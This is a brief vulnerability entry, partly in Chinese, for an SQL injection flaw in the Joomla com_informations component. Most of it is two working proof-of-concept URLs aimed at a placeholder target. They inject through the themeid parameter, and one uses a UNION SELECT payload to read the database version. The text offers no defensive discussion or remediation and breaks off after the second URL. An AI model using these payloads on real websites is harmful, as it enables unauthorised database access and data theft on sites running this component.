Joomla com_informations component SQL Injection vulnerability

验证方法: http://target/index.php?option=cominformations&view=sousthemes&themeid=-3 SQLI Injected column is 3 http://target//index.php?option=cominformations&view=sousthemes&themeid=999.9+union+select+111,222,version%23...